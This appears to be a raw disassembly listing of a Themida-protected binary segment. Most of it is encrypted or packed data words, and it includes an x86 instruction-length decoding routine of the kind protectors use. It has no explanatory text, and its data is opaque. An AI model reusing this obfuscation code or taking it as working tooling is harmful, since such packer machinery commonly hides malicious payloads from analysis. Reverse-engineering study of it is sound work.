0A5D6B393h dd 0A3946548h, 14EFE964h, 0A83316F1h, 0A06DB399h, 1123E835h dd 0F4E8715Dh, 2C2BB693h, 8204CB23h, 74D630FFh, 0A4B0599Bh dd 0A5B23796h, 0A507B399h, 0A5B55BCBh, 0FF7BB399h, 0F124E95Ah dd 0E157B7BDh, 0A570B7BDh, 0F7F7B399h, 8F21325Ah, 6CBC8C2h dd 268D05AAh, 4F6A0E24h, 20A2B39Ch, 0A5D6B3AFh, 4D3BB3F3h dd 0A5B5B39Ah, 0FD19EBB9h, 0A149F710h, 0A192F718h, 0A55BB382h dd 0A96EE3D9h, 102A43DCh, 0C38F4745h, 0C5567818h, 8C2F0E1Ah dd 0AA6DB673h, 0A5B69C1Dh, 0B9B24699h, 0CFADB398h, 0A63EE199h dd 856BB399h, 2CEF70C3h, 24DE97CDh, 0B96997DDh, 0E7B6B399h dd 8A5870CBh, 92A6DA4h, 0C598C9C4h, 0C49E6313h, 0A7640E1Ah dd 0AADBB673h, 0A56D131Ch, 0F4B6D999h, 0A55BB071h, 66F49399h dd 819A3AC0h, 812F329Dh, 0A5B5A79Dh, 668BF299h, 0A5645A46h dd 0BD1AB399h, 1113D40h, 1E75ABDCh, 0A6A6BA42h, 2E64D3C4h dd 0A5B5B381h, 0A5DAA171h, 0CA646999h, 64B06861h, 0AD99F0A3h dd 5DC8FA20h, 0FD868B88h, 0C30AE8CEh, 0A0CA6818h, 0F2DAD95Ah dd 0A56DB071h, 66E99399h, 81273AC6h, 81E9329Dh, 0A5D6A79Dh dd 663CF499h, 7C3ED5DFh, 0A5DAD970h, 0F46DD999h, 0A5B6B071h dd 66029399h, 81E13AC0h, 8192329Dh, 0A56BAF9Dh, 66E4F299h dd 0A92822C9h, 1906D801h, 0A5DCEE06h, 0A5585BCFh, 0FB8DB399h dd 0D15FED5Ah, 0E1EAB7BDh, 0A5ADB7BDh, 0F39CB399h, 30D33F5Ah dd 350D44C0h, 6A5E42B3h, 4DFBB3F3h, 0A5D6B39Ah, 0FBA8EDB9h dd 0A191C710h, 0A1FEF718h, 0A56DB38Ch, 4675E5DFh, 28860560h dd 4A71CE24h, 9F5B3E9Ch, 1D6E5C7Bh, 0DE8FEF84h, 8C0336AAh dd 6A46B673h, 0A5205A58h, 3EB7C4E7h, 5C7BC830h, 0F02428DFh dd 889C4A8Dh, 839ED14Eh, 83507454h, 0A4F305E9h, 0DC58BD83h dd 740005EFh, 218D8D0Dh, 0B805EA4Ch, 1, 0F40E1FFh, 12E9D8BFh dd 0D8000000h, 585901Ah, 781C4BB7h, 0CE1F288Ch, 0A9FF9FC8h dd 5E85398h, 87000000h, 7CBA3A0Eh, 42A0BB66h, 0E8835B5Bh dd 57006A2Dh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 0E680BCB8h, 6AC08B20h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 666FC350h dd 835995BBh, 0EA13D9BDh, 9750005h, 2EE5BD83h, 740005EAh dd 8B535019h, 3FCB8C0h, 85890000h, 5EA0769h, 0DE5C9D8Dh dd 0D3FF05ECh, 0BD83585Bh, 5EA2EE5h, 50177400h, 3FCB853h dd 85890000h, 5EA0769h, 0DAFD9D8Dh, 0D3FF05ECh, 6A585Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 0D969C9C3h, 765B778Dh, 0C78036FEh, 9E960C0h, 5C000000h dd 86F72B8Bh, 0C8D1DFEBh, 8B61DE8Bh, 8E8C0h, 29AC0000h dd 2A32FDEEh, 8B5736ACh, 0F85A59CEh, 5DC6C281h, 13E90000h dd 0B4000000h, 0D957A6A7h, 90D2B973h, 0E5FE170Dh, 0DDA9AA98h dd 4BBFEDA6h, 0F000017h, 32FFDAB7h, 5ECEBF0Fh, 0C681E38Ah dd 5171BD65h, 10E951h, 0EF350000h, 441CD7A5h, 0B8FB7FB8h dd 719A727Ch, 815BEEC7h, 0CF347CF6h, 0B880F47h, 0F000000h dd 58Fh, 7852BB00h, 0C6813EB5h, 7B074469h, 0B840Fh, 810F0000h dd 5, 0FB93D2B8h, 0F5328932h, 0F02EA83h, 4A4ACBB7h, 4FC18B66h dd 0FF98850Fh, 0DA8BFFFFh, 0E4658D8Dh, 0FE905EFh, 61000000h dd 9EC500B9h, 0CD8426E0h, 74D0F20Dh, 8D89EC39h, 5EA0ADDh dd 0C7C6B70Fh, 0EA0ACD85h, 714805h, 4DBA6600h, 0F585C775h dd 5EA25h, 8B000000h, 0EA1C6985h, 95B5FF05h, 6605EA0Eh dd 0FFA6DFB8h, 0EA2A1995h, 51858B05h, 6A05EA1Bh, 1595FF00h dd 8B05EA10h, 272BEBC0h, 58B2FD6Eh, 0E7D22686h, 0AB08940Dh dd 0B0EF5A60h, 0BDD70CDFh, 7B308D88h, 0D6638265h, 0D529E5C9h dd 95EC6693h, 3E2D8D5Fh, 0C8E96D75h, 88000001h, 7 dup(88004188h) dd 4188h, 4 dup(0) dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h dd 888888h, 0 dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h dd 3C98802h, 88001002h, 88001188h, 11888888h, 44111111h dd 16h, 880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h dd 88080888h, 888888h, 0 dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h dd 88888888h, 26088888h, 643E362Eh, 0F0676665h, 0F3F2h dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 0 dd 1000000h, 14h dup(0) dd 0C3000000h, 77ED6380h, 1000075h, 11h dup(0) dd 0E9000000h, 353h, 0E855h, 815D0000h, 0EFE66DEDh, 85C76005h dd 5EFE5BAh, 0 dd 663E8166h, 0F850FA1h, 0C7000000h, 0EFE5BE85h, 605h dd 24E900h, 858D0000h, 5EFE5C2h, 12858D50h, 5005EFE6h dd 0E8006A56h, 1Dh, 2510C483h, 0FFh, 0E5BE8589h, 36105EFh dd 0EFE5BEB5h, 0BA858B05h, 5D05EFE5h db 0C3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and byte ptr [ebp-5], 0 and byte ptr [ebp-6], 0 xor dl, dl and [ebp-1], dl cmp dword ptr [ebp+8], 0 jz loc_59F162 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh mov byte ptr [ebp-2], 1 jmp loc_59F16E ; --------------------------------------------------------------------------- loc_59F162: ; CODE XREF: Themida_:0059F14Bj and byte ptr [ebp-3], 0 and byte ptr [ebp-2], 0 mov byte ptr [ebp-4], 4 loc_59F16E: ; CODE XREF: Themida_:0059F15Dj push ebx push esi push edi loc_59F171: ; CODE XREF: Themida_:0059F1C6j ; Themida_:0059F1E2j ... mov edi, [ebp+0Ch] mov esi, [ebp+10h] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_59F184: ; CODE XREF: Themida_:0059F1ABj movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 5EFE724h lea ebp, [ebp+5EFE59Ah] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_59F1B1 inc cl cmp cl, 0Bh jb loc_59F184 loc_59F1B1: ; CODE XREF: Themida_:0059F1A0j cmp cl, 0Bh jz loc_59F20E cmp al, 66h jnz loc_59F1EF cmp byte ptr [ebp-5], 0 jnz loc_59F171 cmp byte ptr [ebp-3], 0 mov byte ptr [ebp-5], 1 jnz loc_59F1E7 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh jmp loc_59F171 ; --------------------------------------------------------------------------- loc_59F1E7: ; CODE XREF: Themida_:0059F1D4j and byte ptr [ebp-3], 0 mov byte ptr [ebp-4], 4 loc_59F1EF: ; CODE XREF: Themida_:0059F1BCj cmp al, 67h jnz loc_59F171 cmp byte ptr [ebp-6], 0 jnz loc_59F171 xor byte ptr [ebp-2], 1 mov byte ptr [ebp-6], 1 jmp loc_59F171 ; --------------------------------------------------------------------------- loc_59F20E: ; CODE XREF: Themida_:0059F1B4j mov ebx, [ebp+14h] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_59F23A movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_59F23F ; --------------------------------------------------------------------------- loc_59F23A: ; CODE XREF: Themida_:0059F219j movzx edi, al shr edi, 1 loc_59F23F: ; CODE XREF: Themida_:0059F235j push ebp call $+5 pop ebp sub ebp, 5EFE7DCh lea ebp, [ebp+5EFE49Ah] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp-7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp-6], bl jz loc_59F3C1 mov ebx, [ebp+0Ch] mov byte ptr [ebp+0Bh], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov [ebp+17h], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz byte ptr [ebp-5] shr ecx, 6 sub ecx, 0 jz loc_59F305 dec ecx jz loc_59F2E8 dec ecx jnz loc_59F358 cmp byte ptr [ebp-2], 0 jnz loc_59F354 cmp byte ptr [ebp-5], 0 jz loc_59F2C7 mov byte ptr [ebp+0Bh], 2 loc_59F2C7: ; CODE XREF: Themida_:0059F2BDj add byte ptr [ebp+0Bh], 4 push ebp call $+5 pop ebp sub ebp, 5EFE868h mov dword ptr [ebp+5EFE5BAh], 1 pop ebp jmp loc_59F358 ; --------------------------------------------------------------------------- loc_59F2E8: ; CODE XREF: Themida_:0059F2A2j cmp byte ptr [ebp-2], 0 jnz loc_59F332 cmp byte ptr [ebp-5], 0 jz loc_59F332 mov byte ptr [ebp+0Bh], 2 jmp loc_59F332 ; --------------------------------------------------------------------------- loc_59F305: ; CODE XREF: Themida_:0059F29Bj cmp byte ptr [ebp-2], 0 jnz loc_59F34B cmp byte ptr [ebp-5], 0 jz loc_59F33A movzx ecx, byte ptr [ebp+17h] mov edx, [ebp+0Ch] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_59F332 mov [ebp+0Bh], cl loc_59F332: ; CODE XREF: Themida_:0059F2ECj ; Themida_:0059F2F6j ... inc byte ptr [ebp+0Bh] jmp loc_59F358 ; --------------------------------------------------------------------------- loc_59F33A: ; CODE XREF: Themida_:0059F313j cmp dl, 5 jnz loc_59F358 mov [ebp+0Bh], dl jmp loc_59F358 ; --------------------------------------------------------------------------- loc_59F34B: ; CODE XREF: Themida_:0059F309j cmp dl, 6 jnz loc_59F358 loc_59F354: ; CODE XREF: Themida_:0059F2B3j mov byte ptr [ebp+0Bh], 3 loc_59F358: ; CODE XREF: Themida_:0059F2A9j ; Themida_:0059F2E3j ... dec byte ptr [ebp+0Bh] jz loc_59F386 movzx ecx, byte ptr [ebp+0Bh] mov [ebp+8], ecx loc_59F368: ; CODE XREF: Themida_:0059F37Ej movzx esi, byte ptr [ebp+17h] mov ecx, [ebp+0Ch] mov edx, [ebp+10h] inc byte ptr [ebp+17h] dec dword ptr [ebp+8] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_59F368 mov esi, edx loc_59F386: ; CODE XREF: Themida_:0059F35Bj and al, 0FEh cmp al, 0F6h jnz loc_59F3BB cmp edi, 7Fh ja loc_59F3BB test bl, 38h jnz loc_59F3BB cmp byte ptr [ebp-7], 0 jz loc_59F3B5 movzx eax, byte ptr [ebp-4] jmp loc_59F3B8 ; --------------------------------------------------------------------------- loc_59F3B5: ; CODE XREF: Themida_:0059F3A6j push 1 pop eax loc_59F3B8: ; CODE XREF: Themida_:0059F3B0j mov [ebp-1], al loc_59F3BB: ; CODE XREF: Themida_:0059F38Aj ; Themida_:0059F393j ... mov dl, [ebp+17h] mov bl, [ebp-6] loc_59F3C1: ; CODE XREF: Themida_:0059F26Bj mov al, bl and eax, 7 sub eax, 4 jz loc_59F3EC dec eax dec eax jz loc_59F3E2 and bl, 7 add [ebp-1], bl jmp loc_59F3F4 ; --------------------------------------------------------------------------- loc_59F3E2: ; CODE XREF: Themida_:0059F3D1j mov al, [ebp-3] add al, 6 jmp loc_59F3F1 ; --------------------------------------------------------------------------- loc_59F3EC: ; CODE XREF: Themida_:0059F3C9j mov al, [ebp-3] add al, 4 loc_59F3F1: ; CODE XREF: Themida_:0059F3E7j add [ebp-1], al loc_59F3F4: ; CODE XREF: Themida_:0059F3DDj mov al, [ebp-1] dec byte ptr [ebp-1] test al, al jz loc_59F41C movzx ecx, byte ptr [ebp-1] inc ecx loc_59F407: ; CODE XREF: Themida_:0059F416j mov edi, [ebp+0Ch] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_59F407 loc_59F41C: ; CODE XREF: Themida_:0059F3FCj pop edi pop esi mov al, dl pop ebx leave retn ; --------------------------------------------------------------------------- db 8Bh dd 8B8D8DD0h, 6005EFEAh, 2EFD9529h, 0BD8905EAh, 5EA10F9h dd 81665261h, 58A385D8h, 0ADD8D89h, 0B58B05EAh, 5EA2369h dd 13D5850Bh, 85C705EAh, 5EA0ACDh, 630Ch, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Bh, 0BDC35242h, 202785BAh dd 53F1B61Fh, 3353D781h, 0C75E0B8Ah, 0EA25F585h, 5, 6D9D3300h dd 0FF05EA1Bh, 0EA2581B5h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0F03BA54Bh dd 0C7359352h, 1995FF12h, 6A05EA2Ah, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 19AEC353h dd 3B4A381h, 0EA16D595h, 0FF006A05h, 0EA101595h, 0EBC08B05h dd 0DCD24D59h, 8E85AB8Bh, 0F69C487Eh, 0A243DA4Fh, 3EFBB595h dd 1C57533Bh, 5AF4EAC4h, 706786CBh, 0D2B5D2BCh, 47EFE794h dd 0D10F5B5Eh, 13E4DF58h, 0DFE11631h, 0F7935437h, 50AA59DEh dd 0E439BC6Dh, 40B92185h, 0FDC1532Dh, 0B12F07Bh, 0A51A6700h dd 94C4D614h, 0F7836DE1h, 8EB814Eh, 2356EF3Fh, 77E7339Ch dd 0DD0E9h, 0ECA56800h, 77E905EFh, 68FFFA93h, 5EFED5Dh dd 0FA936DE9h, 0EF0C68FFh, 63E905EFh, 68FFFA93h, 5EFF070h dd 0FA9359E9h, 0F21768FFh, 4FE905EFh, 68FFFA93h, 5EFF490h dd 0FA9345E9h, 0F61568FFh, 3BE905EFh, 68FFFA93h, 5EFF70Eh dd 0FA9331E9h, 0CB325FFh, 882DA258h, 0B526DCh, 8E2BAE54h dd 1B220DAh, 3072F355h, 0BF4511C2h, 2AD08437h, 5BA1F5AAh dd 99336712h, 51C3B90Bh, 0BA361D46h, 49E86D13h, 0CB66EFE5h dd 7CFF319Fh, 992B75D9h, 175666A3h, 41E28E16h, 36683544h dd 43F062ACh, 754D9AE0h, 0B82012BCh, 538E6214h, 0A4EA116Ch dd 7AF93738h, 3D3785DBh, 0B0116C53h, 35C38B28h, 412E2429h dd 3Dh, 421B6E18h, 48B5AE1Ch, 0D04812BCh, 38360A7Ch, 0DC82116Ch dd 172BA435h, 13B08FC6h, 5AC02351h, 6C2D14E8h, 27D41A11h dd 0D6E5C850h, 51DA56Fh, 0B2460EADh, 0C22E2395h, 0E3h dd 84D0399Bh, 0DBB1CDE0h, 791C5359h, 0F899DCDAh, 0AE0F4FA6h dd 0CE8F2EAEh, 93C7CD6Dh, 0FF70BEE0h, 575DFD5Eh, 0E13B321Eh dd 8BE2E382h, 7620A7A6h, 0C4A88C60h, 1EAC3668h, 17574326h dd 0A4A20199h, 52D48031h, 17573F0Dh, 15F8589Dh, 68DDFC45h dd 6BC591FDh, 0AC8130A5h, 2D3FDCD2h, 484EEDB9h, 0C40A5405h dd 204CE091h, 0DF2A2383h, 5DEA5806h, 1012BD0Bh, 0D64CD688h dd 6CF99064h, 0D7BE311h, 116CF937h, 5001748Ah, 3EC79F3Ch dd 0FE4C12EBh, 0CD14DD5h, 60AEF068h, 0EF1541F2h, 64FBC86Bh dd 60E80B25h, 0B5119C8h, 88C80000h, 0F67983D7h, 6AE91347h dd 0F4659FCBh, 67EB1145h, 0C746E0B4h, 0CC983BBFh, 4713C036h dd 0CC983FBDh, 4612BF36h, 0F8CC7EECh, 4B1D4652h, 0ED6D6EC7h dd 6DE01A4Eh, 6EC198CCh, 0AE1C421Bh, 12BC48B5h, 9340B648h dd 933F533Fh, 6C3813E5h, 0B1236D11h, 2409D4A4h, 0E0C22B2Eh dd 0F65F490Bh, 0E4882FADh, 0A31E47h, 6D470000h, 0D91749E8h dd 0FA5AF998h, 7DD182F0h, 5662E40Bh, 1023AA17h, 5513DDEh dd 77DB76FFh, 0C522B7Eh, 0BC6711BEh, 683CA412h, 0E3BD8891h dd 0D0AA3B51h, 856CE0Ch, 7C1D5C92h, 191FBCD0h, 946E3AD9h dd 1186B566h, 0E7E80BC7h, 0A999E4Fh, 0C0300000h, 3EB14B1Fh dd 0C231CB9Fh, 3CBD4713h, 0BF33C99Dh, 6FEE481Ch, 6430E317h dd 0EFBB589Eh, 6430E715h, 0EEBA579Eh, 9064D644h, 0E31D4654h dd 0D039C66Fh, 95131EB6h, 0D8DE7D46h, 3ADF99Ah, 7A512B99h dd 3CA41756h, 0A554999Fh, 17C635FBh, 2C74D7BBh, 7BE86D75h dd 675953E1h, 34AC1756h, 56676A42h, 6845DD17h, 0B23F2252h dd 842844A8h, 0FEAA478Eh, 752BF207h, 0BD13A0C7h, 0A70B9312h dd 0DBD163F9h, 53116D12h, 920A7D20h, 13744B31h, 82CC116Dh dd 0E97D0B52h, 21892E24h, 0D0000007h, 1C421B6Eh, 0D6AE1C86h dd 29175666h, 3B6812B1h, 0E12BC74h, 7C4C3A96h, 0C4116C52h dd 65135A8Ah, 912E2428h, 6F8h, 241B6EC8h, 0C4A804B5h, 821127E9h dd 660A8C62h, 2AC18A38h, 6CF412BDh, 0DE7FFC32h, 1DBD1E72h dd 6D1A956Bh, 3FADE311h, 7D1CC52Ch, 624CC8AFh, 5FFF89C1h dd 0BD0F2E24h, 56000006h, 8FB5D039h, 6C32B21Ch, 56CFE6DEh dd 0ADC15917h, 0CF6A410Eh, 0FBDE3BAh, 12BCE674h, 8D2EA06Eh dd 0BA62B21h, 4A7CBA7h, 77B9E77Fh, 22F45702h, 599E7F98h dd 24F21B95h, 9F6CAD34h, 61A8AD0Eh, 0D368DA84h, 8F80BE4Fh dd 0FB96DB15h, 774D3B57h, 0CA7F6E1Dh, 208AF152h, 1D3408BAh dd 1F877F6Eh, 6E1D9369h, 747EE67Fh, 92FE5203h, 0C20C52FEh dd 2E42EE8Bh, 0A481888Dh, 16C734FAh, 0B37DE7B5h, 4A30933Eh dd 7AD416CDh, 68A6F860h, 0F4C87AE9h, 477983E3h, 731FB3DFh dd 94C82D0h, 8FC63C68h, 5C46D1E2h, 16BE7A07h, 8EAC7h, 48EF6100h dd 0CC71E61Ch, 4CF16298h, 0C26FE218h, 4DEE6C96h, 443EBF19h dd 0CB316516h, 7E84D083h, 0F70D59FEh, 2D87D37Eh, 56370DBFh dd 68A1D46h, 0BAD039AFh, 0F10E074Eh, 8E6458EAh, 4FD71756h dd 4F868023h, 0F2070EA2h, 8DD1AB19h, 19591756h, 15A70D7Ah dd 17568E1Fh, 0A660A92h, 0B3E7E654h, 71BF12B9h, 0F8F25EFDh dd 0AA9C576h, 3BBDE971h, 1166A355h, 9E32E115h, 3E309EF2h dd 0DE441AB7h, 66A3986Ch, 0D073EB11h, 6B347188h, 66A2E3D9h dd 0A2CE5611h, 0A36E4EFCh, 59C11166h, 0DB76FFF5h, 0A327098Fh dd 75E71166h, 0E96C96C2h, 43576809h, 0DBFB465h, 11670937h dd 127E128Ah, 0FE4CD64Ch, 11670906h, 9D97E179h, 10116708h dd 0FD8B2B88h, 0E2BA390Bh, 64FCC03h, 0A1AB076Bh, 4F238F2Eh dd 0C9651445h, 82B32163h, 0F8CF8A6h, 857F2BC6h, 31FFA150h dd 11B112C1h, 67299167h, 0F7DC311h, 5EDD12DCh, 0BA167A17h dd 0FA7375D6h, 88CF015Fh, 0B61579D5h, 4E8E40EEh, 0CA6905A9h dd 14017h, 0F7394E00h, 8035BA7Fh, 4494FECh, 3DA7F955h dd 5666B58Fh, 33900817h, 0BC10C735h, 5666F2CAh, 4B53817h dd 8D58A1A8h, 12B83AD3h, 0FC911611h, 9EBF0D5Fh, 2D12BA53h dd 0FD1D86B5h, 5BF3E223h, 7868Ah, 24DB1D00h, 90458A70h dd 18BD3EC4h, 9643B64Ch, 19BA38C2h, 186AEB4Dh, 976D39DAh dd 12E8BC5Fh, 93693DE2h, 41EBBF5Ah, 578B61D3h, 72FE1D46h dd 49E86DDBh, 0F998D917h, 3A9A3955h, 784CFE64h, 0CB175667h dd 84F6F053h, 0FB7983D7h, 0A2D41A44h, 0F00A52F1h, 853ABA7Dh dd 77294529h, 67655FEDh, 40D81756h, 1141BBE3h, 17D53C62h dd 73D1BAB5h, 247ADA79h, 4CF763EAh, 0F9E83F27h, 0E62CEA2h dd 7427ABADh, 0E02E70D8h, 2C6ECD6Eh, 0A277FBC0h, 4C208C31h dd 41B07E20h, 0DF6B3390h, 340F2929h, 755h, 90B60C00h, 0EF000000h dd 1749E86Dh, 67453F8Dh, 20B81756h, 63552383h, 0AB175677h dd 0D6DC7023h, 0F65EF29Fh, 79294CB8h, 0CF0695C7h, 3BB27C22h dd 9F653D9Eh, 6016BA5Dh, 1756578Fh, 6D13FAB4h, 0C3AC54E2h dd 4FBDFF5Ch, 0FF9CD21Ch, 0C6353F53h, 74D7BB17h, 95D0272h dd 48EF6D50h, 0C96EEEE4h, 5183CD65h, 3E36841Eh, 0B1175667h dd 508C8A29h, 857DFBAFh, 0AE17566Fh, 0E51AD7B3h, 0A567EC02h dd 0FB2BA68Bh, 0F29BDFB3h, 18340D5Ah, 0FFFFFE8Ah, 372B641h dd 6DEF0000h, 0D91749E8h, 2448E49Bh, 4F512787h, 7F175667h dd 2F05B72Dh, 0AB175667h, 56672319h, 790E9617h, 0D40042E1h dd 0B7E38EC7h, 0C569084Dh, 7120559Bh, 6812B1DDh, 17566788h dd 3EDF1CD2h, 5B5DFE92h, 0DE75512h, 60175667h, 313894F8h dd 0F1431DE8h, 12B98CD4h, 0A253844Ah, 248829A8h, 890EB48h dd 24C4CC3Bh, 1D078E2h, 5DFh, 1541F67Ah, 0E1B568EFh, 7125D81Bh dd 0FFAB468Bh, 7226D505h, 0A92955D4h, 32A45E0Ah, 0AD2FD581h dd 31A45E0Ah, 0EC7ED480h, 4659665Eh, 0FC55D91Dh, 353ED039h dd 0B6BBDC9Bh, 3FDA1315h, 9024CD93h, 0BA979DEh, 31E46B61h dd 5452F19Dh, 8F217526h, 0C2611041h, 0B4E091C4h, 0C36F0C4Eh dd 0B4EA89C9h, 0B220F37Ah, 0ADC1AD01h, 6ECE6D01h, 255698C6h dd 13B0DC70h, 66942351h, 8F02EBB5h, 6E05160Dh, 0BA0E56F5h dd 340E8CCEh, 2773Eh, 276E6700h, 7A94E24Eh, 2E9B898h, 23D5204Ch dd 58351F3Eh, 14B76496h, 25B4Dh, 0F7391400h, 177BD782h dd 0FF74B1B4h, 0EAB4D87Bh, 56676458h, 0E34FD717h, 0B8987995h dd 1F4D03E9h, 1F3E22D6h, 2325235h, 6E0B0000h, 0AAB2827h dd 0DAE7CAA6h, 0BF48ADCFh, 62D08EE2h, 17575186h, 47739D0h dd 4669BE52h, 0F3609EE5h, 96EAC270h, 0C55D1756h, 1F69C5A9h dd 0E9B8C8FFh, 4C99CB85h, 351F6EBCh, 1F3C8h, 276E9100h dd 0C2A2104Eh, 35175666h, 67572D9Fh, 32AA1756h, 62ACF25Eh dd 0B0410DF1h, 0C6682A68h, 0C96A06AAh, 0B8A893B3h, 0F56729E9h dd 1F4E20E8h, 1BE6C35h, 2BC20000h, 0AF0DE2AAh, 949433Ch dd 6D6CC96Ah, 0F3C97BE8h, 6F175666h, 5666E7DDh, 0B5C25A17h dd 0FB57024Bh, 3B97FB97h, 431DBC31h, 0DB90F2AAh, 0B31087FEh dd 0C0712EBh, 5724C6BEh, 0CDA13917h, 33F62193h, 51C912BDh dd 0A34AA3FDh, 370D0A04h, 4C3C46E5h, 0B4116CCCh, 0B5438AFAh dd 0C12E24A2h, 47h, 90D03998h, 4C2D39ECh, 0C96CEFE5h, 431A6F6Ah dd 0C4B4AF1Dh, 0B94712BCh, 72A8635h, 0D25EFD4Fh, 3A563ADCh dd 6A10E096h, 2668116Ch, 3BD9AFB6h, 0E2252E24h, 8B000000h dd 0FB96DF11h, 774D3B57h, 0CA116C5Eh, 6D54F152h, 0BBE549E8h dd 66999321h, 74EC1756h, 65A4982Ah, 8F171756h, 0BA82A2Ch dd 8928ADA7h, 45B57B25h, 0F5563A96h, 8BDF7AF3h, 5661EA0Dh dd 8C2DA017h, 5F003BD2h, 0CD13258Bh, 0BACF366Eh, 0E927BDE3h dd 106AC968h, 12BA0482h, 8FA8E831h, 13B37701h, 75BB217Fh dd 92FE5201h, 76C33731h, 0F6FC5005h, 177BD784h, 0D349177Bh dd 69518B61h, 0C566FE11h, 41DA339Dh, 164588A6h, 4A888E2Dh dd 8D359AA9h, 7BD3E222h, 366AAh, 0C47BFD00h, 30E56A90h dd 0B85D9E64h, 36E316ECh, 0B95A9862h, 0B8CA4BEDh, 37CD993Ah dd 0B2481CBFh, 33C99D42h, 0E14B1FBAh, 5AEBC173h, 0D25E1D46h dd 4EED6D7Bh, 4F5DB41Ah, 63AD826Eh, 5D909635h, 0F0FA97DAh dd 0EBBFD384h, 11A339B2h, 1756671Bh, 66FFF547h, 0EA721756h dd 0A0A6059Dh, 2A208C2Dh, 0CAADB7A3h, 1EB3721Ch, 0CFA02672h dd 5C17574Ch, 9C2E704Dh, 12BD6373h, 8600DF06h, 4195A94Bh dd 989A732Dh, 0F440318Eh, 0A8F1A90Ah, 0E549E86Dh, 2DAD66EFh dd 444E228Eh, 0A6CA6617h, 12679ECAh, 78A7154Bh, 4B12BC75h dd 37097FD3h, 81116C53h, 32E111DFh, 1EACF29Eh, 116C5326h dd 0E0A20199h, 299F6974h, 2DEF2E24h, 0B6000000h, 0B2241B6Eh dd 81336D01h, 12BC488Ah, 7F09A53Dh, 116C3889h, 24BB9F7h dd 2E240A76h, 6E11438Dh, 36A4AEC2h, 0C87F2685h, 26000000h dd 0E17BE86Dh, 56675953h, 4234AC17h, 1756676Ah, 852945DDh dd 8DCE4B8Fh, 442844E8h, 0CE6BE2E8h, 0D8E67990h, 7B56034Ah dd 0AC81C149h, 47776D9Ah, 74D4772Dh, 0E5AF77Eh, 56D56788h dd 3CBD7317h, 0B5383E9Dh, 23AA5004h, 0C6D3DA76h, 7413A1FFh dd 712BCD0h, 0AB65CB9Fh, 4B278B26h, 0CDCDA715h, 0B820116Ch dd 320B1E1Bh, 200EDE6Ch, 79E10CD1h, 0CA69E927h, 7CFE309Eh dd 0F3A2D5DFh, 9690335Fh, 3984B764h, 0D3E80B51h, 1E1AA7Bh dd 0F8780000h, 66E91347h, 0DA19E3B7h, 64956F3Bh, 0D71BE1B5h dd 57D67024h, 5C08AB2Fh, 0D78330A6h, 5C08AF2Dh, 0D6822FA6h dd 685CEE7Ch, 0DB1D465Dh, 0ED6DFE57h, 6DE01A4Eh, 6EC198CCh dd 0AE1C421Bh, 12BC48B5h, 0A7CD048h, 116C3836h, 0DD12DC82h dd 0E0D46638h, 53116C37h, 0BA2A68CBh, 2409C5B3h, 0CE312Eh dd 6D680000h, 0EFE549E8h, 7F96C86Bh, 2DF47205h, 9B36BBC9h dd 82F454F7h, 1757525Dh, 5709A82Dh, 0AEA45B99h, 722A892Eh dd 337D35DCh, 0DB375D4Ch, 2448E497h, 0D0A41648h, 231756CBh dd 0D71E18BBh, 8A9F963Ah, 0C05FEDB3h, 7312BCC7h, 8B11BFEBh dd 6CC54339h, 8D2EB611h, 0FAA48188h, 0D11B3B48h, 0C130CE0Ch dd 0E99C9022h, 77EF0B7Fh, 0E729771Bh, 3A94C073h, 0EA9D7AD3h dd 7519B56Ah, 0A45E6C58h, 1C54B589h, 51F2AE1Eh, 43702357h dd 0E80B4C0Ah, 0E867B61Eh, 63000000h, 0E41E4AEDh, 6C96C273h dd 0E01A4EEFh, 6E94C071h, 0BD1B4FECh, 6714463Ch, 0D685C933h dd 5BFC7882h, 0D180F50Fh, 0FBD2F85h, 1D465E35h, 6DAD0488h dd 0E01A4EEDh, 0C198CC6Dh, 0DC7FF739h, 47F47A70h, 48EB87EBh dd 0D00C074Eh, 76B0A49h, 88CDC76Bh, 3544BDE9h, 8D843668h dd 3C12B98Ch, 985608A4h, 423A885Bh, 0B511667Ch, 0E4E2412Dh dd 6E94C071h, 90E64AE7h, 2BFF859Ah, 52699B91h, 0D02A7E1Bh dd 4BA2FC9Dh, 46880021h, 218122AAh, 0C04B967Fh, 0DB772655h dd 0CF559AB7h, 59989E3Dh, 0D81E14B8h, 5A9D973Bh, 0FB4917BBh dd 0EAAD0201h, 446EC74h, 5BF5A5D8h, 0FB9A01B2h, 0AD3A7349h dd 735EC6EAh, 73D0142Eh, 49A0C331h, 4142D2E7h, 0C0AA9F4h dd 0B87628C9h, 478F8536h, 956F3794h, 0CC1DB160h, 3, 6DA50895h dd 929834EBh, 1812BE5Bh, 9D973BDCh, 1C16BA59h, 